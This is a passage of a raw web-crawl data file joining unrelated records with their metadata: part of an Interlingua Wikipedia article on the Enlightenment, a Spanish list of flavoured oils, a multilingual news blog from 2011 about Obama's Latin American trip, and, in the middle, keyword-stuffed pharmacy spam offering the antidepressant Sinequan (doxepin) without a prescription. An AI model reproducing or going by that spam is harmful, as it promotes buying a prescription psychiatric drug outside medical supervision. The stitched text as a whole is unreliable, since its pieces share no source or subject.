Oratorio de John Henley, que combinava predicamentos scandalose con questiones ancora plus absurde, como \"Si Scotia esse ubique in le mundo?\".\nIn le fin del annos 1770, societates populare de disputation comenciava a mover-se a cameras plus \"gentile\", un cambio que adjutava a establir un standard nove de sociabilitate. Le contexto de iste evolutiones esseva \"un explosion de interesse in le theoria e practica del elocution public\". Le societates de disputation esseva negotios commercial que respondeva a iste demanda, in alcun casos multo succedente. Alcun societates recipeva ab 800 a 1,200 spectatores per nocte.\nLe societates de disputation discuteva un gamma extrememente ample de themas. Ante le Illuminismo, le majoritate del disputationes intellectual revolveva circa questiones \"confessional\"—isto esse, questiones catholic, lutheran, calviniste, o anglican, e le objectivo principal de iste disputationes esseva establir qual bloco de fide debeva haber le \"monopolio del veritate e un titulo divine de autoritate\". Post iste data, omne que esseva anteriormente ancorate in tradition esseva interrogate e frequentemente substituite per conceptos nove al lumine del ration philosophic. Post le secunde medietate del seculo XVII e durante le seculo XVIII, un \"processo general de rationalisation e secularisation comenciava\" e le disputas confessional esseva reducite a un stato secundari in favor del \"contestation emergente inter fide e scepticismo.\"\nIn addition a disputationes sur religion, le societates discuteva themas como politica e le rolo del feminas. Nonobstante, le subjecto critic de iste disputationes non necessarimente se traduceva in opposition al governamento; le resultatos del disputation frequentemente confirmava le stato quo. Desde un puncto de vista historic, un del aspectos le plus importante del societate de disputation esseva le apertura lore al publico, nam feminas participava e anque prendeva parte in quasi omne societate de disputation, que esseva aperte a tote classes, a condition que illes poteva pagar le precio de admission. Un vice al interior, le spectatores poteva participar in un forma de sociabilitate relativemente egalitarian que adjutava a propagar le ideas del Illuminismo.\nLogias MasonicModificar\nHistoricos debateva longemente le mesura in que le rete secreto del Masonerismo esseva un factor principal in le periodo del Illuminismo. Le lideros del Illuminismo includeva Masones como Diderot, Montesquieu, Voltaire, Lessing, Pope, Horace Walpole, Sir Robert Walpole, Mozart, Goethe, Frederick le Grande, Benjamin Franklin, e George Washington. Norman Davies diceva que le Masonerismo esseva un fortia forte in favore del liberalismo in Europa e Grande-Britannia a partir de circa 1700 usque al seculo XX. Illo se expandeva rapidemente durante le Epocha del Illuminismo, attingente practicamente cata pais in Europa e le Anglosphera. Illo esseva particularmente attrahente pro aristocratos e politicos importante, e anque pro intellectualos, artistos e activistos politic.\nReferentias\n- ↑ Vottari, Giuseppe (2003). L'illuminismo. Un percorso alfabetico nell'età delle riforme. Alpha Test, 54. ISBN 978-88-483-0456-6.\n- ↑ Maddaloni, Domenico (17 November 2011). Visioni in movimento. Teorie dell'evoluzione e scienze sociali dall'Illuminismo a oggi: Teorie dell'evoluzione e scienze sociali dall'Illuminismo a oggi. FrancoAngeli, 20. ISBN 978-88-568-7115-9.\n- ↑ Peter Barrett (2004), Science and Theology Since Copernicus: The Search for Understanding, p. 14, Continuum International Publishing Group, (ISBN 0-567-08969-X)","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ia.m.wikipedia.org\/wiki\/Illuminismo","date":"2023-06-05T10:17:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224651815.80\/warc\/CC-MAIN-20230605085657-20230605115657-00796.warc.gz","language":"ina","language_score":0.9999293089,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.9999293088912964}","num_words":20811,"character_repetition_ratio":0.061,"word_repetition_ratio":0.002,"special_characters_ratio":0.176,"stopwords_ratio":0.03,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":557.8,"cluster_detection":-1} +{"text":"Aceite de oliva extra Acomont – 750mlComplementos\nAceite de oliva extra Acomont – 500mlComplementos\nAceite de semilla de uva con trufa negraComplementos\nAceite de semilla de uva con trufa blancaComplementos\nAceite de oliva con albahacaComplementos\nAceite de oliva con cayenaComplementos\nAceite de oliva con escamas de ajoComplementos\nAceite de oliva con romeroComplementos","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/avinova.cat\/es\/categoria-producto\/seleccion-es\/page\/3\/","date":"2023-10-03T14:43:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511106.1\/warc\/CC-MAIN-20231003124522-20231003154522-00450.warc.gz","language":"ina","language_score":0.4733043313,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.4733043313026428, \"glg_Latn_score\": 0.12350223958492279, \"ast_Latn_score\": 0.11986269056797028, \"spa_Latn_score\": 0.09467148035764694, \"arg_Latn_score\": 0.04132432863116264, \"por_Latn_score\": 0.04046434536576271, \"gug_Latn_score\": 0.025761354714632034, \"cbk_Latn_score\": 0.016126664355397224}","num_words":107,"character_repetition_ratio":0.262,"word_repetition_ratio":0.245,"special_characters_ratio":0.159,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.309,"perplexity_score":7440.3,"cluster_detection":-1} +{"text":"Senza Ricetta Sinequan\nGenerico Sinequan\nfarmacia sicuro di acquistare Sinequan nessuna prescrizione. Sinequan Generico è un farmaco antidepressivo triciclico. Viene usato nel trattamento della depressione e dell'ansia.\nValutazione 4.3 sulla base di 227 voti.\nPrezzo da €0.26 Per pillola\nin linea Sinequan USA\nAcquistare 10 mg Sinequan Canada\nSconto Sinequan 10 mg Francia\nfarmacia tem Sinequan\nacquistare Sinequan contrassegno\ngenerico Sinequan argentina\nSconto Sinequan Doxepin hydrochloride Grecia\nOrdine Sinequan Inghilterra\nA buon mercato 10 mg Sinequan\nOrdine Sinequan Stati Uniti\npreço Sinequan generico brasil\nposso comprar Sinequan na farmacia sem receita\nacquisto Sinequan senza ricetta medica\nOrdine 10 mg Sinequan Finlandia\nQuanto costa Sinequan 10 mg Israele\nbuy Coumadin\nMigliore farmacia per l'acquisto Clarithromycin 250 mg\ngeneric Aggrenox\ngeneric Antabuse\nbuy Tadalafil\ngenerico Sinequan preço\nSinequan en farmacias de chile\nQuanto costa Doxepin hydrochloride USA\nconveniente Sinequan Repubblica Ceca\nfarmacia venden Sinequan\nin linea Sinequan Doxepin hydrochloride Emirati Arabi Uniti\ninformazioni su Sinequan generico\nAcquistare Sinequan 10 mg Polonia\nfuncionan genericos Sinequan\nvendita Sinequan in slovenia\nconveniente Doxepin hydrochloride Italia\nin linea Sinequan Italia\nposso comprar Sinequan na farmacia sem receita\nSinequan generico 10 mg\nprecio Sinequan en farmacias españa\nSinequan generico no brasil\nSinequan originale farmacia italiana\nAcquistare Sinequan Doxepin hydrochloride\ncomo tomar generico do Sinequan\nSinequan generico achat\nacquisto Sinequan line reato\nPrezzo Doxepin hydrochloride Italia\nSinequan generico ricetta\ncomprare Sinequan generico on line\nSinequan generico sildenafil\ngenerico Sinequan germed\nQuanto costa Doxepin hydrochloride Belgio\nAcquista 10 mg Sinequan Finlandia\nPrezzo basso Doxepin hydrochloride Italia\nin linea Sinequan Israele\nSinequan naturale vendita online\nAcquista Sinequan Doxepin hydrochloride Inghilterra\nconveniente Sinequan Europa\nquanto custa o Sinequan na farmacia\nAcquista Sinequan Svezia\nfarmacias barcelona Sinequan sin receta\ncual nombre generico Sinequan\nAcquistare Doxepin hydrochloride Italia\nSinequan acquisto on line\nIl costo di 10 mg Sinequan Svizzera\nSinequan acquisto\nOrdine 10 mg Sinequan Tacchino\ngenerico Sinequan 10 mg Polonia\nacquistare Sinequan online reato\nSinequan soft generico 10 mg\ncomprar Sinequan generico en españa\ncomprar genericos Sinequan españa\ngenerico del Sinequan chile\nSinequan farmacia vende\nOrdine Doxepin hydrochloride Australia\ncomprar Sinequan farmacia\ncontroindicazioni Sinequan generico\nSconto Sinequan 10 mg Spagna\nSinequan generico espana\ndove acquistare Sinequan alle erbe\nventa Sinequan genericos\nprecio Sinequan en la farmacia\nin linea Sinequan Doxepin hydrochloride Repubblica Ceca\ndove acquistare Sinequan roma\nQuanto costa Sinequan USA\nOrdine Sinequan Europa\nin linea Sinequan 10 mg Olanda\nconveniente Sinequan Doxepin hydrochloride Croazia\nSinequan generico tempo efeito\nQuanto costa Sinequan 10 mg Norvegia\ncomo comprar Sinequan en una farmacia\nSinequan pvp farmacias\nQuanto costa Sinequan Svizzera\nA buon mercato Doxepin hydrochloride Italia\nSinequan generico visa electron\nPrezzo basso Sinequan Doxepin hydrochloride Singapore\nA buon mercato Doxepin hydrochloride Grecia\ncomprar Sinequan en farmacias\nventa Sinequan farmacias chile\nconveniente Sinequan 10 mg Singapore\nfarmacia online italia Sinequan\ncosto Sinequan 10 mg in farmacia\nSinequan generico en venezuela\nSinequan de 10 mg . generico\nnome remedio generico Sinequan\nSinequan si puo acquistare senza ricetta\ngenerico Sinequan 10 mg Olanda\nSinequan generico line italia\nSinequan generico farmacia italiana\nconveniente 10 mg Sinequan Polonia\nhay Sinequan generico en mexico\nAcquistare 10 mg Sinequan Tacchino\nAcquistare Sinequan Croazia\ncomprar Sinequan farmacia espaСЃola\ncompra de Sinequan generico en mexico\nPrezzo basso Doxepin hydrochloride Danimarca\nventa de Sinequan generico mexico\nsiti dove acquistare Sinequan\nSinequan generico uruguay\nPrezzo basso Sinequan Doxepin hydrochloride Italia\nconveniente 10 mg Sinequan Austria\ncomprar Sinequan generico en chile\nfarmacia online Sinequan Doxepin hydrochloride\nSinequan generico farmacia\nSconto Sinequan Inghilterra\nacquisto Sinequan pagamento alla consegna\ndove posso acquistare Sinequan\nIl costo di Sinequan Doxepin hydrochloride US\nprecio Sinequan generico farmacias\nQuanto costa Sinequan 10 mg Brasile\nbasso costo Sinequan Grecia\nacquistare Sinequan spagna\nAcquistare 10 mg Sinequan Grecia\nSinequan en una farmacia\nSconto Sinequan Doxepin hydrochloride Emirati Arabi Uniti\nfarmacia para comprar Sinequan\nfarmacie vendita Sinequan\nIl costo di Sinequan 10 mg\nbuy Ibuprofen\ngeneric Risperdal\nbuy Viagra Soft\nBuy Generic Nolvadex Online\ncheap Flagyl\nE95looX","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/alphaomegaperformance.com\/senza-ricetta-sinequan-no-prescription-online-pharmacy-acquista-ora-e-sicuro-i-vostri-soldi\/","date":"2023-12-06T10:15:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100593.71\/warc\/CC-MAIN-20231206095331-20231206125331-00221.warc.gz","language":"ina","language_score":0.3769732416,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.3769732415676117, \"ita_Latn_score\": 0.1198592260479927, \"lat_Latn_score\": 0.11388988047838211, \"eus_Latn_score\": 0.08117824792861938, \"ile_Latn_score\": 0.06108631566166878, \"lij_Latn_score\": 0.018458683043718338, \"kiu_Latn_score\": 0.018442731350660324, \"mlt_Latn_score\": 0.018347807228565216, \"por_Latn_score\": 0.018181461840867996, \"scn_Latn_score\": 0.017491929233074188, \"nld_Latn_score\": 0.014996458776295185, \"vec_Latn_score\": 0.011235701851546764, \"nap_Latn_score\": 0.010246568359434605}","num_words":1388,"character_repetition_ratio":0.203,"word_repetition_ratio":0.046,"special_characters_ratio":0.149,"stopwords_ratio":0.024,"flagged_words_ratio":0.0,"lang_id_score":0.204,"perplexity_score":28323.0,"cluster_detection":-1} +{"text":"Monday, January 31, 2011\nLe chef gerente le salvamento del minatores de Chile contradice le declarationes facite per Obama in su discurso sur le Stato del Union.\n(Languages of this post: Interlingua, Spanish, English)\nIn su discurso annual ante le Congreso, le presidente Obama accentuava le participation del ingeniero Brandon Fisher e su compania, Center Rock, Inc., in le operation que salvava le 33 homines qui esseva trappate pro quasi 70 dies in un mina chilean.\nIn declarationes publicate per le jornal chilean \"El Mercurio\", André Sougarret, le chef del labores de salvation nominate per le presidente de Chile, Sebastián Piñera, negava que Fisher ha habite un rolo importante.\n\"Ben que su equipa complete participava de un maniera que finalmente permitteva que nos arrivava al successo, creder que illes esseva le sol participantes in iste projecto non me pare correcte.\", affirmava le ingeniero chilean.\nSougarret addeva que Fisher e su compania non designava le \"Plan B\" ma que illes solmente forniva le martellos que esseva utilisate in le forator que finalmente arriva usque le minatores.\n\"Lo que illes faceva esseva poner a nostre disposition un sol technica, e il habeva alteres\", diceva ille. \"Le lore non esseva le exclusive. A causa de illo on lo appellava 'Plano B'. Le planos A e C continuava a functionar.\"\nSougarret anque diceva que Fisher non dava su servicios completemente a causa de motivos philanthropic ma recipeva $100.000 pro le uso de su martellos de perforation.\nIntertanto le minatores evitava le controversia. Illes viagiava a Orlando, Florida, ubi illes esseva invitate al parco de attractiones de Disney World per le principal executivo del compania, Bob Iger.\nAlicunes ex le salvatores anque esseva invitate a Disney World.\nOn previde que le 33 minatores se reunira con Obama in martio durante su viage a Chile como parte de su visita latinoamerican que ille annunciava durante su discurso recente sur le Stato del Union.\n---\nEl encargado de rescatar a los mineros de Chile contradice las declaraciones hechas por Obama en su discurso sobre el Estado de la Unión.\nEn su discurso anual ante el Congreso, el presidente Obama destacó la participación del ingeniero Brandon Fisher y su empresa, Center Rock, Inc., en el operativo que rescató a los 33 hombres que estaban atrapados por casi 70 días en una mina chilena.\nEn declaraciones publicadas por el diario chileno \"El Mercurio\", André Sougarret, el jefe de los trabajos de rescate nombrado por el presidente de Chile, Sebastián Piñera, desmintió que Fisher haya tenido un papel importante.\n\"Aunque su equipo completo tuvo participación que permitió finalmente que llegáramos al éxito, creer que fueron ellos únicamente los partícipes de este proyecto no me parece correcto\", afirmó el ingeniero chileno.\nSougarret agregó que Fisher y su empresa no diseñaron el \"Plan B\", sino que sólo proporcionaron los martillos que fueron utilizados en la perforadora que finalmente llegó hasta los mineros.\n\"Lo que ellos hicieron fue poner a disposición nuestra una sola técnica, y hubo otras más\", dijo. \"La suya no fue la exclusiva. Por eso se llamó 'Plan B'. Los Planes A y C siguieron funcionando.\"\nSougarret también dijo que Fisher no donó sus servicios completamente a causa de motivos filantrópicos, sino recibió $100.000 por el uso de sus martillos de perforación.\nMientras tanto, los mineros se mantuvieron alejados de la controversia. Ellos viajaron a Orlando, Florida, donde fueron invitados al parque de atracciones Disney World por el principal ejecutivo de la empresa, Bob Iger.\nAlgunos de los rescatistas también fueron invitados a Disney World.\nSe prevé que los 33 mineros se reúnan con Obama en marzo durante su viaje a Chile como parte de su gira latinoamericana que anunció durante su discurso reciente sobre el Estado de la Unión.\n---\nThe man in charge of rescuing the Chilean miners contradicts statements made by Obama in his State of the Union address.\nIn his annual address to Congress, Obama emphasized the participation of the engineer Brandon Fisher and his company, Center Rock, Inc., in the operation that rescued the thirty-three men who had been trapped for nearly seventy days in a mine in Chile.\nIn statements published by the Chilean newspaper \"El Mercurio,\" André Sougarret, the head of the rescue operation appointed by the president of Chile, Sebastián Piñera, denied that Fisher played an important role.\n\"Though his whole team participated in a way that enabled us to be finally successful, the belief that they alone were the participants in this project does not seem correct to me,\" said the Chilean engineer.\nSougarret added that Fisher and his company did not design \"Plan B\" but only furnished the hammers that were used in the drill that finally reached the miners.\n\"What they did was to make available to us a single technique, and there were others\", he said. \"His was not the only one. That's why it was called 'Plan B'. Plans A and C continued their operations.\"\nSougarret also said that Fisher did not donate his services completely out of philanthropic motives but received $100.000 for the use of his drilling hammers.\nMeanwhile, the miners stayed away from the controversy. They traveled to Orlando, Florida, where they were invited to Disney World by the company's chief executive, Bob Iger.\nSome of the rescue workers who participated in the operation, 700 feet deep also joined the program.\nThe thirty-three miners are expected to meet with Obama in March during his trip to Chile as part of his Latin American tour that he announced during his recent State of the Union message.\nPosted by hkyson at 6:46 PM\nSunday, January 30, 2011\nIn su visita al Brasil, Obama vole demonstrar su recognoscimento del crescente importantia politic e cultural del Brasil in omne le mundo.\n(Languages of this post: Interlingua, Portuguese, English)\nUn portavoce del Consilio de Securitate National del Statos Unite, Mike Hammer, diceva que le visita que le presidente american, Barack Obama, facera al Brasil in martio es un recognition del status international conquerite per ille pais.\n\"Le viage es parte de nostre ingagiamento con nostre proprie hemispherio\", diceva Hammer in un conferentia de pressa in Washington pro clarificar le prioritates del politica international del governamento del Statos Unite.\n\"Illo anque es un recognooscimento del status importante e le valiose contributiones que le Brazil jam ha facite al affaires international\", ille accentuava.\nLe viage es le prime de Obama al America del Sud e anque includera visitas a Chile e a El Salvador. Secundo Hammer, totevia il non ha un data definite pro le viage, ma illo deberea occurrer in le secunde medietate de martio.\n\"Nos sta a travaliar con le governamentos de ille paises pro finalisar le detalios\", ille diceva.\nIn le Brasil, le presidente american va a reunir se con le presidente Dilma Rousseff pro discuter areas de interesse commun. Rousseff habeva un viage planificate al Statos Unite in martio, ma a causa de un cambio de agenda, le visita finalmente esseva cancellate.\nHammer diceva que Dilma jam ha manifestate interesse in expander su collaboration con le Statos Unite e que le governamento american spera \"inaugurar lo que, nos crede, pote esser un effortio cooperative multo fecunde pro le duo paises\".\n\"Nos crede que il ha multe interesses commun con le Brasil in le quales nos pote travaliar conjunctemente, e illo essera le proposito de iste viage\", diceva ille. \"Nos ha con le Brasil un relation importante que nos spera disveloppar in directiones nove e fecunde que essera de beneficio pro ambe paises.\"\nInter iste areas, Hammer citava le energia munde, le crescimento economic global, e le effortios de assistentia a Haiti.\nOn sperava un visita de Obama al Brasil desde le governamento del presidente Luiz Inácio Lula da Silva, ma le viage esseva ajornate diverse vices, in medio de un certe frigor in le relationes bilateral debite a diverse differentias in le politicas global del duo paises in le ultime annos.\nLe anno passate, le differentias esseva accentuate a causa del relation inter Lula e le presidente iranian, Mahmoud Ahmadinejad. Le Brasil non appoiava le application de un nove serie de sanctiones del Nationes Unite contra le programma nuclear iranian, approbate per le Consilio de Securitate in junio.\nLe Brasil essayava a evitar le sanctiones e finalmente obteneva un accordo con le governamento iranian, con le cooperation de Turchia, pro cercar un solution al problemas international associate con Iran per medio de dialogo. Intertanto, le Statos Unite rejectava le accordo, provocante irritation in le governamento brasilian.\nHammer evitava tamen parlar sur un supposte distanciamento inter le duo paises durante le governamento de Lula.\n\"Io non vole comparar lo que poterea haber essite o deberea haber essite\", diceva ille. \"Nos vole prender iste opportunitate pro continuar a construer un forte conjuncto de relationes inter le duo paises. In despecto de alicun differentias minor, nos sempre habeva relationes bon e solide con le presidente Lula e su governamento.\n---\nEm sua visita ao Brasil, Obama quer demonstrar seu reconhecimento da crescente importância política e cultural do Brasil em todo o mundo.\nUm porta-voz do Conselho de Segurança Nacional dos Estados Unidos, Mike Hammer, disse que a visita que o presidente americano, Barack Obama, fará ao Brasil em março é um reconhecimento ao status internacional conquistado pelo país.\n\"A viagem é parte de nosso engajamento com o nosso próprio hemisfério\", disse Hammer em uma coletiva de imprensa em Washington para esclarecer as prioridades da política internacional do governo dos Estados Unidos.\n\"É também um reconhecimento do status importante e as valiosas contribuições que o Brasil já fez nos assuntos internacionais\", enfatizou.\nA viagem é a primeira de Obama à América do Sul e incluirá também visitas ao Chile e a El Salvador. Segundo Hammer, ainda não há data definida para a viagem, mas ela deverá ocorrer na segunda metade de março.\n\"Estamos trabalhando com os governos desses países para finalizar os detalhes\", afirmou.\nNo Brasil, o presidente americano vai se reunir com a presidente Dilma Rousseff para tratar de áreas de interesse conjunto. A Dilma tinha uma viagem planejada aos Estados Unidos em março, mas, por causa de uma mudança de agenda, a visita acabou cancelada.\nHammer disse que a Dilma já manifestou interesse em ampliar a parceria com os Estados Unidos e que o governo americano espera \"inaugurar o que, acreditamos, pode ser um esforço cooperativo muito frutífero para os dois países\".\n\"Acreditamos que há muitos interesses comuns com o Brasil nos quais poderemos trabalhar juntos, e esse será o propósito desta viagem\", disse. \"Temos com o Brasil uma relação importante que esperamos desenvolver em direções novas e fecundas que beneficiarão ambos os países.\"\nEntre estas áreas, Hammer citou a energia limpa, o crescimento econômico global e os esforços de assistência ao Haiti.\nEsperava-se uma visita de Obama ao Brasil desde o governo do presidente Luiz Inácio Lula da Silva, mas a viagem foi adiada várias vezes, em meio a um certo esfriamento das relações bilaterais devido a várias diferenças nas políticas globais dos dois países nos últimos dois anos.\nNo ano passado, as diferenças foram acentuadas por causa da relação entre Lula e o presidente iraniano, Mahmoud Ahmadinejad. O Brasil não apoiou a aplicação de uma nova rodada de sanções das Nações Unidas contra o programa nuclear iraniano, aprovada pelo Conselho de Segurança em junho.\nO Brasil tentou evitar as sanções e chegou a obter um acordo com o governo iraniano, com a cooperação da Turquia, para buscar uma solução dos problemas internacionais associados com o Irão por meio do diálogo. No entanto, os Estados Unidos rejeitaram o acordo, provocando irritação no governo brasileiro.\nHammer evitou, porém, falar sobre um suposto distanciamento entre os dois países durante o governo Lula.\n\"Não quero comparar o que poderia ter sido, ou deveria ter sido\", disse. \"Queremos aproveitar essa oportunidade para continuar a construir um forte conjunto de relações entre os dos países. Apesar de algumas diferenças menores, nós sempre tínhamos relações boas e sólidas com o presidente Lula e seu governo.\"\n---\nIn his visit to Brazil, Obama wants to demonstrate his recognition of the growing political and cultural importance of Brazil throughout the world.\nA spokesman for the National Security Council of the United States, Mike Hammer, said that the visit of U.S. President, Barack Obama, to Brazil in March will be an acknowledgment of the international status achieved by that country.\n\"The trip is part of our engagement with our own hemisphere,\" said Hammer at a news conference in Washington to clarify the priorities of the foreign policy of the U.S. government.\n\"It's also a recognition of the important status and the valuable contributions that Brazil has already made in international affairs,\" he emphasized.\nThe trip is Obama's first to South America and will also include visits to Chile and El Salvador. According to Hammer, there is still no definite date for the trip, but it should occur in mid-March.\n\"We are working with their governments to finalize the details,\" he said.\nIn Brazil, the U.S. president is going to meet with President Rousseff to address areas of common concern. Rousseff had a trip to the United States set for March, but because of a schedule change, the visit was finally canceled.\nHammer said that Dilma has already expressed interest in expanding Brazil's partnership with the United States and that the U.S. government hopes to \"inaugurate what we believe will be a very fruitful cooperative effort for both countries.\"\n\"We believe there are many common interests with Brazil where we can work together, and that will be the purpose of this trip,\" he said. \"We have an important relationship with Brazil that we hope to develop in new and fruitful directions that will benefit both countries.\"\nAmong these areas, Hammer mentioned clean energy, global economic growth, and relief efforts in Haiti.\nA visit by Obama to Brazil has been expected since the time of President Luiz Inacio Lula da Silva's government, but the trip was postponed several times amid a certain cooling of bilateral relations because of various differences in the global policies of the two countries in the last two years.\nLast year, the differences were accentuated because of the relationship between Lula and the Iranian president, Mahmoud Ahmadinejad. Brazil has not supported the application of a new round of U.N. sanctions against Iran's nuclear program, approved by the Security Council in June.\nBrazil has tried to avoid the sanctions and even get a deal with Tehran, with Turkey's cooperation, to seek a solution through dialogue to the international problems associated with Iran. However, the United States rejected the agreement, causing irritation to the Brazilian government.\nHammer declined, however, to talk about a supposed gap between the two countries during Lula's administration.\n\"I do not want to compare what might have been or should have been,\" he said. \"We want to take this opportunity to continue a strong set of relations between the two countries. Despite some minor differences, we always had good and solid relationships with President Lula and his government.\"\nPosted by hkyson at 6:12 PM\nIn su discurso sur le stato del Union, Obama mentionava alicun themas importante, a vices con multe prudentia.\n(Languages of this post: Interlingua, Spanish, English)\nLe presidente del Statos Unite, Barack Obama, diceva in su discurso annual sur le stato del Union ante le Congresso que ille viagiara al Brasil, a Chile, e a El Salvador verso le fin de martio \"pro forgiar nove alliantias pro le progresso in le Americas\".\nObama non explicava pro que ille ha selegite ille tres paises pro su proxime viage al America latin, que visitara pro le tertie vice. Iste viage, nonobstante, essera le prime vice que ille vadera al America del Sud. Alicun paises de iste parte del America latin ha indicate que illos considera que Obama ha state a negliger le relationes del Statos Unite con le America del Sud.\nIn su discurso le presidente Obama se refereva al rescatto del minatores chilean le decembre passate. Ille accentuava le labor de Brandon Fisher, le proprietor de un fabrica de machinas de perforation de Pennsylvania, que disveloppava equipamento que adjuvava a salvar le 33 minatores qui habeva essite trappate in ille pais del America del Sud, citante le littera que Fisher inviava a su empleatos dicente a illes que \"nos ha probate que Center Rock es un parve interprisa que pote facer grande cosas\", lo que le presidente usava pro reinfortiar su message de optimismo sur le futuro.\nConcernente le tractatos commercial e laboral, Obama diceva que \"ante occupar le Casa Blanc, io diceva clarmente que io roborarea nostre tractatos commercial e signarea solmente illos que manteneva fide con le travaliatores statounites e promoveva travalios statounitese\", assecurante que ille faceva illo con le convenio con Korea del Sud, que ille jam ha presentate a consideration parliamentar e que habera protectiones forte pro le postos de empleo del travaliatores american. \"E illo es lo que io intende facer durante que nos cerca accordos con Panama e Colombia\", affirmava Obama, ben que ille non diceva specificamente quando ille poterea inviar le accordos pro ratification al Congresso.\nFontes del Casa Blanc ha dicite que le tractatos latinoamerican pendente se presentara quando comiencia a moverse le accordo con Korea del Sud. E ben que illes non provideva datas precise, illes estimava que il poterea haber un demora de usque un anno.\nObama anque parlava sur le necessitate de arrivar a accordos definitive sur le immigration illegal, recognoscente que le debatto essera dificile e consumera multe tempore e dicente que ille se trovava \"preparate pro travaliar con republicanos e democratas pro proteger nostre frontieras, facer complir nostre leges e confrontar le conditiones de milliones de travaliatores indocumentate qui nunc vive in le clandestinitate\".\n\"Nos non debe continuar a expeller le juvenes responsabile con talentos academic qui pote travaliar in laboratorios de investigation, inaugurar nove interprisas, e contribuer al inricchimento de iste nation\", diceva Obama in un allusion al Dream Act, le recentemente rejectate lege que haberea permitte le regularisation del status legal de studentes indocumentate in le Statos Unite.\n\"Il es de grande importantia poner le problema del immigration in le contexto de lo que essential pro meliorar le economia del Statos Unite\", diceva Cecilia Múñoz, Director de Affaires Intergovernamental del Casa Blanc.\nConcernente le morte de sex personas qui esseva victimas de injurias de bolletta durante un evento de campania pro le diputato Gabrielle Giffords, Obama non se refereva al question controversial del controlo de armas. Al mesme tempore ille parlava sur le necessitate de controlar le commercio de armas, accentuante le damnos causate per le fluxo illegal de armas de assalto a Mexico, que sta a suffrer le effectos de un guerra contra le drogas que eventualmente poterea mitter in periculo le stabilitate del governamento federal de Mexico mesme.\n---\nEn su discurso sobre el estado de la Unión, Obama mencionó algunos temas importantes, a veces con mucha cautela.\nEl presidente de los Estados Unidos, Barack Obama, dijo en su discurso annual sobre el estado de la Unión ante el Congreso que viajará al Brasil, Chile y El Salvador a fines de marzo \"para forjar nuevas alianzas para el progreso en las Américas\".\nObama no explicó por qué eligió a estos tres países para su próximo viaje a América Latina, que visitará por tercera vez. Este viaje, sin embargo, será la primera vez que va a ir a América del Sur. Algunos países de esta parte de América Latina han indicado que consideran que Obama ha estado descuidando las relaciones de los Estados Unidos con América del Sur.\nEn su discurso el presidente Obama se refirió al rescate de los mineros chilenos en diciembre pasado. Destacó la labor de Brandon Fisher, el dueño de una fábrica de máquinas de perforación de Pensilvania, que desarrolló equipos que ayudaron a rescatar a los 33 mineros que habían quedado atrapados en ese país de América del Sur, citando la carta que envió Fisher a sus empleados diciéndoles que \"hemos probado que Center Rock es una pequeña empresa que puede hacer grandes cosas\", lo que el presidente usó para reforzar su mensaje de optimismo sobre el futuro.\nEn cuanto a los tratados comerciales y laborales, Obama dijo que \"antes de ocupar la Casa Blanca, dije claramente que reforzaría nuestros tratados comerciales y que firmaría sólo aquellos que mantuvieran fe con los trabajadores estadounidenses y promovieran trabajos estadounidenses\", asegurando que eso hizo con el convenio con Corea del Sur, que ya ha presentado a consideración parlamentaria y que tendrá protecciones fuertes para los empleos e los trabajadores americanos. \"Y eso es lo que intento hacer mientras que busquemos acuerdos con Panamá y Colombia\", afirmó Obama, aunque no aclaró cuándo podría enviar los acuerdos a ratificación en el Congreso.\nFuentes de la Casa Blanca han asegurado que los tratados latinoamericanos pendientes se presentarán cuando empiece a moverse el acuerdo con Corea del Sur. Y aunque no ofrecieron fechas precisas, estimaron que podría haber un retraso de hasta un año.\nObama también habló sobre la necesidad de llegar a acuerdos definitivos sobre la inmigración ilegal, reconociendo que el debate será difícil y llevará tiempo y diciento que estaba \"listo para trabajar con republicanos y demócratas para proteger nuestras fronteras, hacer ccumplir nuestras leyes y hacer frente a las condiciones de millones de los trabajadores indocumentados que ahora viven en la clandestinidad.\n\"No debemos continuar a expulsar a jóvenes responsables con talentos académicos que pueden trabajar en laboratorios de investigación, inaugurar nuevas empresas y contribuir al enriquecimiento de esta nación\", dijo Obama en una alusión al Dream Act, la recién rechazada ley que habría permitido a estudiantes indocumentados a regularizar su situación legal en los Estados Unidos.\n\"Es de gran importancia poner el problema de la inmigración en el contexto de lo que es esencial para mejorar la economía de los Estados Unidos\", dijo Cecilia Muñoz, Directora de Asuntos Intergubernamentales de la Casa Blanca.\nEn cuanto a la muerte de seis personas que murieron por heridas de bala durante un evento de campaña para la diputada Gabrielle Giffords, Obama no se refirió a la controvertida cuestión del control de armas. Al mismo tiempo habló sobre la necesidad de controlar el comercio de armas, haciendo hincapié en los daños causados por el flujo ilegal de armas de asalto a México, que está sufriendo los efectos de una guerra contra las drogas que eventualmente podría poner en peligro la estabilidad del gobierno federal de México mismo.\n---\nIn his address on the state of the Union, Obama mentioned some important subject areas, sometimes with great caution.\nThe U.S. president, Barack Obama, said in his annual state-of-the-Union address to Congress that he will travel to Brazil, Chile, and El Salvador in late March \"to forge new partnerships for progress in the Americas.\"\nObama did not explain why he selected these three countries for his next trip to Latin America, which he will be visiting for the third time. This trip, however, will be the first time that he will go to South America. Some countries in that part of Latin America have indicated that they feel that Obama has been neglecting South America.\nIn his speech, Obama referred to the rescue of the Chilean miners last December. He highlighted the work of Brandon Fisher, the owner of a factory making drilling machinery in Pennsylvania, which developed equipment that helped rescue the thirty-three miners who had been trapped in that South American country, mentioning the letter that Fisher sent to his employees telling them that \"we proved that Rock Center is a small company that can do great things,\" which the president used to reinforce his message of optimism about the future.\nRegarding commercial and labor treaties, Obama said that \"before occupying the White House, I clearly said that I would strengthen our trade agreements and sign only those that kept faith with American workers and promoted American jobs,\" giving assusrances that he did that with the agreement with South Korea, which has already been submitted for Congressional consideration and which will have strong protections for Amercan jobs and workers. \"And that's what I intend to do as we seek agreements with Panama and Colombia,\" said Obama, though he did not specify when he might send the agreements to Congress for ratification.\nWhite House sources have said that pending Latin American treaties will be 